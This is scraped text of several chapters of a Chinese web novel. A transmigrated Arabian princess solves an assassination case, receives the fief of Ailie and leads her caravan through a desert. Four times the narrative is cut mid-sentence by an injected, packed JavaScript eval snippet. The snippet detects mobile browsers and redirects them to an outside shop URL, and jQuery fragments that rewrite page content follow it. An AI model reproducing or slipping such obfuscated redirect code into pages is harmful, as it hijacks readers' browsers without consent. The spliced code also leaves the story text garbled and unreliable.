他的嘴比卡里姆的嘴容易撬开得多，只上了一种刑具，他就竹筒倒豆子一般说出了所有他知道的事。 从如何收到主教的命令到怎样伪装成什叶派的人用拿撒勒派的惯用手段培养“献身者”，他的口供第一时间就被送到了铜宫。 辛蒂还没来得及看，埃米尔马蒙忽然大驾光临。 他穿着金色的长袍，气势非凡，仿佛已经成为了哈里发马蒙。他先是装模做样的和辛蒂寒暄了一番，随即说出了他的真实目的。 “辛蒂亚，听说你关押了莱曼大师，他在巴格达有不少人脉，你这样会得罪很多和莱曼大师交好的人。” “现在释放莱曼大师还来得及，我会替你向莱曼大师道歉，相信他看在我的面子上不会跟你计较。” 马蒙谆谆善诱，仿佛是一个一心为妹妹考虑的好兄长。 可是实际上哈里发拉希德案几上那些信一大部分都是在他的要求下写的，哈里发不理会，他只能从辛蒂亚这里寻找突破口。 “是吗？”辛蒂歪着头，一脸天真道：“马蒙哥哥也和莱曼大师关系很好吗？那我是不是也得罪您了？” 马蒙一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880893|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噎，没想到辛蒂亚是这个反应，他只好耐心道：“当然不是，你可是我的亲妹妹，我是站在你这边的。” “你也不想让这么多人讨厌你对不对？” 马蒙又说了一大堆冠冕堂皇的话，直说得口干舌燥，喝光了一大杯椰枣茶。 可是辛蒂始终都是一副懵懵懂懂、答非所问的样子，让他感到大为火光。 马蒙即将失去耐心，辛蒂才笑道：“可是马蒙哥哥，莱曼大师好像已经认罪了。” 她扬扬手中的口供，语气还是那么天真，似乎只觉得这是一个好玩的游戏。 马蒙一把夺过口供，一目十行的看完后脸色变得铁青，他骂了一句市井脏话，狠狠地将口供扔在地上，头也不回地离开了铜宫。 他不知道辛蒂亚是真傻还是装傻，这不妨碍他在心里记了她一笔，早晚要叫她好看！ 哈里发拉希德为辛蒂亚公主指定的，辅佐她办案的大臣伊扎特此时经过了一晚上的享乐，正摇摇晃晃地从澡堂里出来。 迎面撞上了埃米尔马蒙，他连忙挂上谄媚的笑容道：“尊贵的马蒙，结案报告已经写好了，今天就会呈给哈里发······” 可是前天还一起饮酒作乐的埃米尔马蒙一点好脸色都没有给他，眼神阴狠地看了他一眼后，一言不发地远去了。 伊扎特觉得奇怪，摸不着头脑之余只认为是埃米尔马蒙阴晴不定，今天心情不好。 今天是他去铜宫向辛蒂亚公主“汇报”查案情况的日子，他不认为那个小公主能听懂这些东西，不过走个形式。 这么简单的案子，他实际上前几天就查好了，不过为了显得用心，他这才又拖了几天。 因为前一天一直都沉浸在温柔乡中，丝毫没有关注外界的消息，伊扎特对于辛蒂亚公主抓捕了莱曼大师的事一无所知。 他略略整理了一下仪表后就来到了铜宫，面见辛蒂亚公主汇报自己的查案情况： “我调查了那个卡里姆，出生于贫民窟······事情很明显了，他受到什叶派的指使，进行了这场刺杀。” “这是我的报告，要是您需要，我可以再将方才的话陈述一遍，以免您在哈里发面前不知道如何开口。” 伊扎特最后自认十分贴心地补充道。他太了解这种需要镀金的贵人了，他们愿意付出的最大的努力就是将该说的话背背清楚。 等待着公主娇声道谢的伊扎特只听到一声嗤笑，他揉揉耳朵，以为自己因为缺少睡眠产生了幻觉。 他有些怀疑地开口问道：“您刚刚说什么，我没听清。” 辛蒂看着这个矮胖的阿拉比亚男人，一时间有些拿不准他原本就是不会查案的草包，还是觉得辛蒂亚公主很好敷衍。 考虑到这是哈里发拉希德为她挑选的，辛蒂姑且认为是后者。 她抛开和马蒙说话时那种矫揉造作的语气，沉凝问道：“伊扎特卿，什叶派，这就是你认为的幕后指使者？” “可是总督扎姆和什叶派并无冲突，什叶派下手的动机是什么呢？” 53.封地 伊扎特觉得事情好像有些偏离了原定的轨迹，他下意识收起他轻浮的态度，拿出了准备好的说辞：“我认为这只是表面上的和睦，实际上因为总督扎姆是坚定的逊尼派，什叶派看不惯他很久了······” 在辛蒂亚公主洞若观火的目光中，伊扎特的声音越来越小，越来越没有底气。 伊扎特内心一清二楚，这样敷衍的，毫无证据的臆测毫无说服力，几乎只能拿去骗骗小孩子和无知的女人。 辛蒂亚公主显然不属于以上任何一种，这一次他清晰地看见了她唇边浮现出的冷笑和目光中的嘲弄之色。 辛蒂抬抬下巴，示意女奴哈迪贾将那张马蒙看过的口供递给伊扎特，满意地看到他的原本红润的圆脸变得苍白之后才道： “看清楚了？伊扎特卿，真凶已然认罪，你现在还认为是什叶派动的手吗？” 伊扎特不明白，不过一天时间，事情怎么就发生了这么大的变化。 原本按照计划，什么都不懂的辛蒂亚公主应该对于他的调查结果深信不疑，就此呈给哈里发拉希德。 然后辛蒂亚公主会因为这份粗制滥造的调查报告受到哈里发的训斥，甚至会遭到什叶派的记恨，他则会在马蒙的保护下全身而退，得到那些被许诺的金币。 怪不得埃米尔马蒙对他的态度一反之前，他或许认为他背叛了他的命令，倒向了辛蒂亚公主······ 伊扎特在哈里发拉希德面前舌灿莲花的本事忽然全部消失了，他仿佛已经看到哈里发因为他渎职，或许还有对王室不敬的罪名将他发配到沙漠里去。 他难以为自己辩驳一个字，因为他根本没有听从哈里发的命令好好辅佐辛蒂亚公主，而是在埃米尔马蒙的授意下，将这起刺杀案草草地算到了什叶派的头上。 伊扎特的嘴里满是苦涩之意，他还想再做垂死的挣扎：“或许是莱曼大师忍受不了酷刑，才被迫按下了手印呢？我的意思是，万一有人借此攻击您就不好了。” 辛蒂亚公主的唇边再次浮现出让他遍体生寒的冷笑： “这的确有可能，不过根据莱曼大师的口供，已经找到了卡里姆口中的‘传道者’，经过卡里姆的指认，那同样是阿赫勒教团的成员。” 不得不说，莱曼大师似乎没有多少做坏事的经验，一旦锁定阿赫勒教团，辛蒂就发现了无数的蛛丝马迹。 他们的据点中甚至还有着研究训练“奉献者”方式的手稿，卡里姆生平的资料等等。想来他们完全没想到自己会被发现，以至于没有销毁这些东西。 伊扎特感到绝望，要是知道辛蒂亚公主并不简单，他就不会做出这样的选择。不，辛蒂亚公主是故意的，他一开始就受到了误导，先入为主地认为她只是一个无知的女人。 辛蒂确实是故意的，伊扎特在她身边，只会束缚她的行动。不管是伪造卡里姆的口供还是逮捕莱曼大师，都会遭到反对，没有独自行动来得爽快。 不如一开始就让伊扎特认为她什么都不懂，撇下她自己去查案。 不过辛蒂没想到，伊扎特竟然敢和马蒙勾连，妄想给她下套。 虽然心里很膈应，伊扎特还有用，辛蒂还需要他为这件事收尾。 伊扎特同样意识到了这一点，否则他都见不到辛蒂亚公主的面，而是直接被侍卫绑到哈里发面前等候发落了。 伊扎特跪服在地上，亲吻着辛蒂亚公主脚边的土地道：“您的仁慈和美丽深入人心，我将听从您的派遣，直到您宽恕我的疏忽。” 对于伊扎特将自己的故意怠慢矫饰为疏忽，辛蒂不置可否，究竟是不是疏忽，要看他接下来的表现了。 在莱曼大师认罪后，辛蒂亚公主隐于幕后，查案大臣伊扎特开始处理后续的事宜。 除了必要的案件卷宗的撰写之类的文书工作，伊扎特还需要找出阿赫勒教团刺杀埃烈总督扎姆的原因，最起码表面上的原因。 这背后的缘由必然相当隐秘，或许涉及到了埃米尔马蒙。从马蒙急哄哄的想要捞出莱曼大师的表现来看，他或许在其中扮演了相当重要的角色。 不过发出命令的阿赫勒教团的主教远在埃烈，莱曼大师只是一个执行命令的工具，伊扎特注定什么都查不出来。 或许只有亲至埃烈，辛蒂才能知道这背后隐藏的秘密了。 案件的结果很快就被呈给了哈里发拉希德，不过在那之前，他就已经从叶海亚那里知道了比卷宗更详细的，整个事件的过程。 他凝视着这个被所有人轻视的女儿，她是什么时候长成了现在的样子的？ 是在阿布大师的课堂上吗？还是在被困在铜宫里的那些日夜里？ “你怎么知道真凶是阿赫勒教团的人？”这是整件事中最为关键，也是所有人都感到疑惑的问题。 辛蒂亚公主脸上并没有得意或者满足，还是和之前一样的平静回答道：“真主为我指明了方向。” 换成任何一个人这样说，哈里发拉希德都会勃然大怒，认为对方是糊弄他。可是对方是受到安拉庇佑的辛蒂亚，这似乎就是最合理的解释了。 即使哈里发就是那个散播谣言的人，此时看到辛蒂亚肃穆的面容，也不由自主地觉得这个理由十分可信。 目光的对峙下，哈里发拉希德率先败下阵来，不再继续追问。这确实是个很聪明的说法，可以加强辛蒂亚公主受神庇佑的形象，让某些人产生敬畏之心。 辛蒂也是这么想的，还有什么比受神庇佑更能解释她身上的神异之处呢？ 虽然她也能胡诌一个更靠谱的理由，但是为了加强这个印象，即使面对哈里发，她也要坚持这样的说法，直到所有人都坚信这一点。 阿赫勒教团刺杀总督扎姆证据确凿，虽然阿赫勒教团的主教在给哈里发的信件中声称自己对此一无所知，这完全是莱曼的个人行为。 哈里发还是拔除了阿赫勒教团在首都的据点，借此机会还清扫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884482|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的小教团。 除了甩掉黑锅的什叶派，辛蒂亚公主因此几乎招致了所有小教派的仇恨，不过她也不太在乎就是了，反正这是迟早的事。 辛蒂亚公主完美通过了考验，哈里发拉希德以此为理由将埃烈分封给了她，竟然无人有反对意见。 就连将王国作为马蒙的资产，锱铢必较的祖拜达王后也一反常态，没有从中作梗，默认了这件事。 因为埃烈的宗教之争，哈里发拉希德原本的设想是辛蒂亚不必亲至埃烈，只享受埃烈的税收，他自然会派遣另外的人作为埃烈的新总督。 他没想到辛蒂亚竟然坚持要前往埃烈，不仅如此，她还要带上她的母亲阿伊莎！ “辛蒂亚，你为什么非要去埃烈，巴格达不好吗？”在哈里发拉希德看来，辛蒂去埃烈就是羊入虎口，没多久就会落到和扎姆一样的下场。 “父亲，在真主的庇佑下，我有信心能治理好埃烈，请您相信我。”不管哈里发拉希德怎么说，辛蒂都十分坚持，这是她计划中最重要的一环。 “十年内，我必定让埃烈变得像巴格达一样温顺。” 辛蒂眼中的坚定打动了哈里发拉希德，他恍惚记起自己年少时也有这样意气风发，想要征服整片大陆的时候。 只可惜真的成了哈里发，他反而畏手畏脚，守成有余，奋进不足。 哈里发拉希德思考许久：“好吧，我会为你配上许多的护卫，不行的话就立即回到巴格达。” “埃烈极其危险，你为何要坚持带上阿伊莎呢？” 哈里发拉希德有众多妻妾，每年都会有新人入宫，他并不在乎已经不再年轻的阿伊莎住在巴格达还是在埃烈。 可是他还健在，辛蒂亚就带着母亲去封地，多少有些让他难堪。 “恐怕巴格达对于阿伊莎来说更加危险。” 辛蒂掩去阿西玛的作用，将祖拜达王后是如何溺死刚出生的玛丽达的儿子，之前又是如何毒杀艾利的事讲述了一遍。 “阿伊莎已经有了身孕，而且是个男婴。让我带她离开巴格达，这样才能免遭祖拜达王后的毒手。” 这些事让哈里发拉希德惊骇万分，祖拜达王后竟然已经弄死了他两个可能的继承人，只为了给马蒙铺路。 他想说自己会保护好阿伊莎，可是百密总有一疏，让辛蒂亚带着阿伊莎去埃烈确实是最稳妥的办法。 他竟然疏忽至此，放任祖拜达王后弄死了自己两个儿子。 年过半百的哈里发瞬间显得苍老了许多，他确实拿祖拜达王后没有办法，她毕竟是未来的哈里发的母亲，祖拜达王后要是有什么问题，马蒙也跟着面上无光。 而且她的弟弟阿卜杜拉镇守着王国的边境，这让祖拜达王后脖子上的铡刀难以落下。 想到可以用功高盖主来形容的阿卜杜拉，哈里发拉希德的眼里闪过一丝狠色。边境的战争也该结束了，到时候就是清算这些功过是非的时候了。 54.道别 最终哈里发同意了辛蒂的请求，并给了她许多的侍卫随行，要求他们务必保证母女二人的安全。 要是阿伊莎能成功诞下小王子，或许他就可以考虑更换继承人，不必再忍受祖拜达王后了。 得到了哈里发拉希德的首肯之后，辛蒂才告诉阿伊莎这个消息。 她原本以为阿伊莎会舍不得巴格达富裕舒适的生活，毕竟埃烈算得上是乡下地方，无论如何都比不上巴格达。 辛蒂还有另外一重顾虑，去往埃烈的路途遥远，孕妇恐怕难以忍受长途颠簸，若是阿伊莎不愿意去埃烈，她也可以让叶海亚为她找一个秘密居所。 对外做出阿伊莎跟她一起去了埃烈的假象，实际上她就在巴格达安心养胎。 辛蒂没想到，没想到阿伊莎表现出了前所未有的坚韧。 阿伊莎因为害怕被祖拜达王后盯上，迟迟不公布自己怀孕的消息。 要是她肚子里是个女孩还好，若是男孩，她承受不住再次失去孩子的痛苦。 辛蒂亚提出要带她去埃烈，这无疑是一根救命稻草，她美丽的眼睛一错不错地盯着辛蒂：“我的公主，仁慈的辛蒂亚，你说的是真的吗？你的父亲同意了，我可以跟你去埃烈？” “不不不，我不愿意留在巴格达，你不了解祖拜达王后，她的眼线遍布全城。不管藏得多深，她一定能把我找出来的！” “这个孩子一定是艾利再次转世到了我的肚子里，为了艾利的安全出生，让我去哪都行！” 阿伊莎对于辛蒂在她严格保密的情况下知道了她怀孕的消息这件事接受良好，她坚信着辛蒂亚公主受到安拉的庇佑，安拉全知全能，这些事瞒不过辛蒂亚的眼睛很正常。 对于要去埃烈的事，她没有丝毫反对的意思，反而还催促着辛蒂早些出发。唯恐被祖拜达王后发现，危害到肚子里的孩子的安全。 辛蒂告诉阿伊莎路上会很辛苦，还可能会遭遇到一些预料不到的危险。 阿伊莎仍然坚持，祖拜达王后手眼通天，留在巴格达就是必死的局面，去往埃烈无论如何都有一线生机。 离开巴格达，辛蒂唯一的遗憾就是不能赶上阿西玛的婚礼。 在法蒂玛公主恢复理智后，祖拜达王后用了些手段让大流士王子在阿拉比亚王国再也待不下去。 大流士王子刚灰溜溜地回到波斯，波斯的萨尔贡王子就准备了许多礼物，来到哈里发拉希德面前为大流士的行为表达歉意。 与此同时表达出自己想要求娶阿西玛公主的意愿。 他当然也想娶一个家族势力更强大的公主，不过法蒂玛公主显然不会嫁到波斯。 剩下的两个公主里，辛蒂亚公主太过强势，阿西玛公主更合适些。而且他的母亲和阿西玛的母亲是同族，他对阿西玛更有好感。 双方都很满意的情况下，联姻很快就被确定了下来。 唯一对此有些许异议的确是阿西玛，她对于未来也可能成为“阿西玛王后”并无多少兴趣。 相较而言，她更愿意在阿拉比亚国内度过余生，这样还能照应她的母亲。 哈里发后宫中的妾室要是没有儿女的照应，晚年会过得很凄惨。 对此辛蒂只能安慰她道：“等未来你在波斯站稳脚跟后，或许可以将索芭赫接过去，哈里发不会多加阻拦的。” 这样的事并无先例，不过辛蒂能将阿伊莎带去封地，这一点让阿西玛看到了些许希望。 只要阿西玛能为阿拉比亚带去好处，哈里发应当不会阻挠。 辛蒂又问她：“除此以外，你觉得萨尔贡王子如何呢？我调查过了，他并无什么不良事迹，目前也没有私生子女，还算干净。” 这段时间这对未婚夫妻已经相处过不少时间，可是提起萨尔贡王子，阿西玛全无待嫁少女的羞涩。 辛蒂的问题让阿西玛有些茫然：“索芭赫也这么问我，萨尔贡王子是一个怎样的人，这很重要吗？” “就像哈里发和祖拜达王后，他们大部分时间都不在一起，哈里发还有许许多多别的女人。” “所以我觉得萨尔贡王子是一个怎么样的人都无所谓，反正我们不会像平民夫妻那样日常相处，甚至大部分时候都不必睡在同一张床上。” “再说了，就算萨尔贡王子不是一个好人，我也没有说不的权力。” 阿西玛的语气很平静，并无愤世嫉俗，可以看得出来这是她深思熟虑后的话。 辛蒂难得语塞，她不能说阿西玛的想法不对，与其说消极，不如说事实就是如此。 阿西玛能有这样清醒的认知，她应该为她感到高兴才对，可是内心深处难免觉得有些悲哀。 为阿西玛，为她，也为了千千万万没有选择权的女孩们。 阿西玛看出了辛蒂的神色有异，反而安慰她道：“辛蒂亚姐姐，这样没什么不好的，我已经很幸运了。” “我知道有很多平民女孩，就像索芭赫一样被自己的父母卖掉换取金币，比起她们，我最起码会成为王妃甚至王后不是吗？” 阿西玛几乎颠覆了辛蒂对她的认知，在她心里，阿西玛就是一个活在封建时代的愚昧的女孩儿。 会因为想要合群以及讨得父君的欢心而忍饥挨饿，也会因为别人的一点点善意就掏心掏肺。 可是她的所思所想让辛蒂感到震撼，原来她单纯的面孔后，也有过这么复杂的思量。这一刻她在辛蒂心里，从一个NPC变成了真实的人。 这让辛蒂再次想起了原来的辛蒂亚公主，故事原本的女主角，那个在高塔上眺望远方的黑眼睛女孩儿，她也有过这样深刻的思考吗？ 这已经无从得知了，辛蒂又思考起了那个得不到答案的问题，那些被她占据躯体的灵魂，都到哪里去了？或许只有神明才能告诉她了。 和阿西玛长谈后，辛蒂又和塔斯妮姆进行了告别。 不必再嫁给马蒙，塔斯妮姆肉眼可见的快活了许多。当辛蒂问及她未来的计划时，塔斯妮姆眨眨眼：“某人想要做女王，我当然要致力于成为一个女宰相才对咯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891818|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛蒂失笑：“那你可得再努力努力才行了。” 玩笑归玩笑，塔斯妮姆很担心辛蒂的安危，毕竟埃烈的混乱情况可不是闹着玩的。 曾经成为过多个国家领土的埃烈，被殖民后留下的最大的后遗症就是有着各种不同信仰的教派。 信仰的背后是丑陋的政治斗争，几乎每个教派后都存在一个国家，企图分裂这块原本就不算和睦的土地。 据说每条街道上都混居着有着不同信仰的平民，任何小事都有可能成为一场纷争的导火索。 塔斯妮姆曾经听过一则轶闻。埃烈的某个面包铺中，一个信仰造世主拿撒勒的女子购买了一块全麦面包，因为怀疑全麦中混入了别的原料而发出质疑甚至谩骂。 店主还未说话，旁边逊尼派的男子不乐意了，因为甜饼在逊尼派备受推崇，是祭祀佳品，这和认为全麦最为神圣的拿撒勒派相悖。 有着狂热的信徒们的思想往往都十分偏激，在男子看来，女子辱骂非全麦面包，四舍五入就是在辱骂甜饼。 男子要求女子为自己亵渎的言论道歉，女子则觉得莫名其妙，自己说的话明明就很正常。 原本的小事在双方的寸步不让之下冲突升级，从哪个教派的祭品更合理争论到谁家的信仰最为正统，最后竟然变成了两个街区之间的械斗，造成了无数伤亡。 这被称之为一块面包引起的血案。 故事或许有夸张的成分，却能大体上反映出埃烈的信仰之争有多么狂热，以至于在埃烈经商和生活都需要弄清楚各个教派的忌讳，以免引起不必要的纠纷。 这样的埃烈，用难啃的骨头已经不足以形容了，淬了毒的骨头倒还贴切些。 “辛蒂亚，你真的要去埃烈吗？你想要发展自己的势力，或许应该找个更稳妥些的办法。” 塔斯妮姆的绿眼睛里满是担忧，她想必不清楚，埃烈这个地方是她的父亲叶海亚替辛蒂亚公主挑选的。 辛蒂没有告诉塔斯妮姆这一点，只是安抚她道：“没事的妮姆，就算是为了神奇的大象表演，我也会完完整整地回到巴格达的，相信我。” 很多次塔斯妮姆邀请辛蒂外出，辛蒂都有各种各样的事要忙，以至于辛蒂都要去埃烈了，都没能好好见识一下巴格达丰富的娱乐活动。 “相信我”，在她陷入绝境的时候，辛蒂亚也是这么说的，并且她做到了。这一次，塔斯妮姆心中的担忧并未因为辛蒂的话减少半分，可是她只能点头。 辛蒂在离开巴格达之前，和宰相叶海亚有过一场谈话。 叶海亚对她的态度显得很恭敬，甚至超过了马蒙，更像是对着哈里发。 这让辛蒂感到困惑：“我以为叶海亚卿你尚且对我怀有疑虑，否则也不会向父亲建议将埃烈作为封地给我。” 叶海亚当然听出了她话中带刺，含笑道：“不，我相信以您层出不穷的神奇能力，埃烈那些教派绝非您的对手。” “对您来说埃烈的重要性比您想象中要大得多。” 55.漫漫长路 面对辛蒂疑惑的眼神，叶海亚将他为她做的筹划缓缓道来： “哈里发既是世俗君主，也是真主的代行者，合法性一半来自圣裔血脉，一半来自乌莱玛的背书。” “埃烈是两河流域的门户，聚居着逊尼派、什叶派支系、还有其他的小教派，更关键的是，那里的乌莱玛掌握着国教典籍《圣训》注释的话语权，连巴格达的宗教学院都要敬三分。” “您要成为第一位女性哈里发，首先要获得乌莱玛的认可。” “只要您能让埃烈的民众皈依真主的怀抱，逊尼派自然会以您为尊，埃烈的乌莱玛亦会站在您这边，他们的教令能为您披上‘顺应教法’的外衣，堵住巴格达贵族的嘴。” “埃烈会成为您王座下最牢固的基石。” 叶海亚的话让辛蒂犹如醍醐灌顶，阿拉比亚是政教合一的国家，她想获得世俗的权力自然离不开宗教层面的支持。 不愧是深受哈里发重视的叶海亚，字字珠玑，辛蒂因为他将自己推向埃烈的不快顿时消失得一干二净，甚至更加钦佩起叶海亚了。 此前辛蒂并不了解乌莱玛，请教了阿布老师之后她才知道乌莱玛是“有知识的人”的意思，他们为信众解读圣训，因此公信力很高，即使贵为哈里发都需要得到乌莱玛的认可。 对于哈里发颁布的政策，若是乌莱玛认为有违背教义的地方，有权提出批评甚至抵制。 叶海亚的话一点都不掺假，乌莱玛是辛蒂获得哈里发宝座的路上绕不开的障碍。 几天后的清晨，载着辛蒂亚公主和她的母亲阿伊莎的驼车缓缓驶离了巴格达，驶向了埃烈——权力开始的地方。 辛蒂亚公主的车队十分庞大，哈里发拉希德为她配备了一千名侍卫，另外还有若干的奴隶随行。 原本这个队伍应该更庞大的，可是阿布老师年纪太大了，无法进行长途跋涉，否则也会一起前往埃烈。 最前面的两头象征着王室的白骆驼拉着辛蒂亚公主和其母阿伊莎所在的木制车厢。 光是二人的奴隶和随从就占据了十多架驼车，另外还有专门放着食物和烹饪器具的驼车、放着锦被软塌的驼车、配备有医师和药材的驼车等等。 还有因为要经过沙漠地区，好几辆专门装水的驼车。 大部分都是为了保障她们在旅途中能有和平时相差不多的生活质量，若非阿伊莎，辛蒂想她应该会削减大部分车架，轻装简行。 这么多人和行李，行进速度很难快起来，好在辛蒂也不赶时间。 可是当她听说从巴格达到埃烈，以他们这样的速度足足要走半年的时候，也发出了这也太浪费时间了的感叹。 前往埃烈的前半程还算顺利，辛蒂见识到了许多不同于巴格达的风土人情，不过更多的还是民生多艰。 眼下在哈里发拉希德的治理下，政治还算清明。不过对于平民来说，没有战争和苛政，日子照样好过不到哪里去。 烈日下长不出粮食的贫瘠土地，贵族们索求无度的盘剥，还有疾病的侵扰。这些都是平民们日常生活中细碎的折磨，要不了命，活下去却需要竭尽全力。 这些景象让辛蒂一遍又一遍地思考着，要是她成为了哈里发，她能做些什么？ 不管怎么设想，答案都是她能做的很有限，最起码是做不到让所有人都衣食无忧。 辛蒂索性不去想这些还很遥远的事，将漫长的旅途时光更多的用于钻研脑海中的《神秘学发展》。 前往埃烈，辛蒂最担心的就是阿伊莎的身体，虽然她已经制作了许多防护的符咒让阿伊莎贴身存放，还是常常害怕发生什么意外。 好在那些防震的符咒很有用，阿伊莎说这是她坐过的最平稳的驼车。还有阿伊莎的孕期反应并不剧烈，这也让她们少了很多烦恼。 最恼人的是沙漠中的风沙，这让她们吃了点苦头，那些沙子几乎无孔不入，伴随着食物被吞进肚子里。 辛蒂觉得自己少说也吃了有一斤沙子了。 因为沙子，辛蒂有时候都丧失了对食物的胃口，谁又能毫不介意地吃下一块几乎沾满了黄色细沙的白面包呢？ 还有那些奶油浓汤，沙子就像面包屑一样附着在汤的表面，到最后，辛蒂只能完全放弃这道菜品。 阿伊莎却一点都不娇气，不完全是为了肚子里的孩子。她在成为哈里发的妾室之前也吃过不少苦头，用她的话来说，“这算什么，只是食物里有些沙子而已，又不是在沙子里找食物。” 这听起来不像是一个美好的故事，总之对于这一切，阿伊莎看起来比辛蒂的接受程度高得多。 沙漠部分的路程比想象中要漫长许多，而且因为路线上取水的绿洲水源干涸，事先计划好的用水出现了不足的情况。 于是辛蒂发现了一件很离谱的事，早上哈迪贾还在为她盛来清澈干净的水洁面，中午她发现队伍中竟然有个奴隶因为缺水晕倒，引发了小小的骚乱。 若非这场骚乱，辛蒂都注意不到竟然已经缺水到了这个程度，前一天晚上她甚至还用了许多水来清洗自己的头发。 她吩咐人救起这个奴隶后，找到哈迪贾问道：“为何不给奴隶们喝水呢？” 哈迪贾面露难色：“尊敬的辛蒂亚，要是给那些低贱的奴仆足够的饮水，您和尊贵的阿伊莎就没有可以用来洁面、擦身的水了。” 即使辛蒂认为这些水都可以二次利用，可是奴仆们都认为自己使用主人用过的水，是对主人的一种亵渎。 所以辛蒂和阿伊莎的生活用水一般都会被直接倒掉。 “我们以后不需要洁面，也不需要擦身，剩下的水除了饮用，不要再用作别的用途。” “确保每个人都不会被渴死，哪怕是最低等的奴隶！” 辛蒂第一次用这么严厉的语气命令哈迪贾，她一想到自己在用珍贵的水保持洁净的时候，奴隶们都在忍受饥渴就觉得浑身难受。 辛蒂知道，在很多贵族心里，奴隶的命还不如他们的一顿饭重要。 即使辛蒂亚公主为了维持自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895863|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的生活质量，不许奴隶们喝水，让所有奴隶都被渴死，也不会有人敢说什么的。 可是她即使在这样的环境里生活了许多年，现代教育的痕迹并未被冲淡，反而在目睹了许许多多封建制度下的惨剧后，对于文明和秩序的怀念越发深刻。 这也是她想要获得权力的驱动之一，她想改变什么，哪怕只有一点点。 辛蒂亚公主的命令很快就传遍了整个队伍，无数奴隶都朝着那架白骆驼拉着的车厢投去了感激的目光。 奴隶们很清楚目前的境况，很多奴隶都做好了死在沙漠中的准备。 随时面对死亡的感受对于他们来说并不陌生，而这是第一次，他们从那些高高在上的人手中，得到了一点生的希望。 仅仅是辛蒂和阿伊莎的生活用水当然不足以养活这么多人，距离下一个绿洲还有不短的距离。 在辛蒂的教导下，奴隶们每天以树枝为架，覆盖羊毛毡，夜间毡面凝结露水，滴入下方的陶盆中，这样一晚上能盛满满一盆水。 勉强支撑到了下一个绿洲，让所有人失望的是，这里的水源也干涸了，河床就像每个人脸上的笑容，焦黄色的干裂开来。 这时候事务官已经向辛蒂建议放弃一部分奴隶了：“接下来的绿洲很有可能也是这样的情况，放弃五百人，即使没有水源补给，我们也能走出沙漠。” 辛蒂拒绝了事务官的提议，她做不到让那么多人的性命从她的手里逝去。 她亲自管理队伍的水，仔细筹划了每天的用量，确保每个人都不会脱水而死，甚至连她自己都没有得到格外的优待，整个队伍中只有阿伊莎因为怀孕才能无限制饮水。 在最困难的时候，阿伊莎和哈迪贾都劝她放弃一些人，否则整个队伍可能都走不出沙漠。 辛蒂心里有数，队伍中一个人都不会死，她每天都在用魔法偷偷给水车加水。 不过受限于她的能力，那些水并不多，总体还是要靠节省。反正不到迫不得已，她是绝不会放弃任何一个人的。 在这样的精打细算之下，又用无数方式搜集露水后，在走出沙漠的时候，辛蒂亚公主的队伍里，没有一个人丧生。 这堪称是一个小小的奇迹，在这样的长途跋涉中，不管是贵族的队伍还是平民的队伍，总归要死几个人的。 尤其是他们还遇到了绿洲的湖泊枯竭这种意外状况，死上几十人也不算意外。 许多人在听说这件事后，都认为这是因为辛蒂亚公主再次得到了真主的庇佑，她的美名再次流传开来。 只有亲历过这一切的奴隶们才知道，是辛蒂亚公主的仁慈和智慧才造就了这场奇迹，辛蒂亚公主才是庇护了他们的神灵。 在漫长的路程中，沙漠缺水并不是辛蒂在旅途中遇到的最大的危机。 离开沙漠后，队伍在一个小镇停下，被风沙摧残了一个多月的人们亟需清水和温暖的食物进行休整。 就在这座看似平平无奇的小镇里，辛蒂遭遇了来自埃烈的第一次刺杀。 56.刺杀 拉姆勒镇中，终于没了恼人的沙子，咀嚼过程中不会因为沙子摩擦到牙齿而产生不适，辛蒂得以享受到一顿正常的食物。 吃完饭后，辛蒂又去了浴场。她的侍卫们已经提前将闲杂人等清理了出去，此时偌大的浴池中，只有辛蒂一个人。 阿拉比亚人爱好泡澡，虽然拉姆勒镇不过是一个十万人的小镇，也有许多大大小小的公共浴场。 这是小镇中规模最大的浴场，虽然比不上铜宫中她那白玉镶金的浴池，整体来说还算干净。 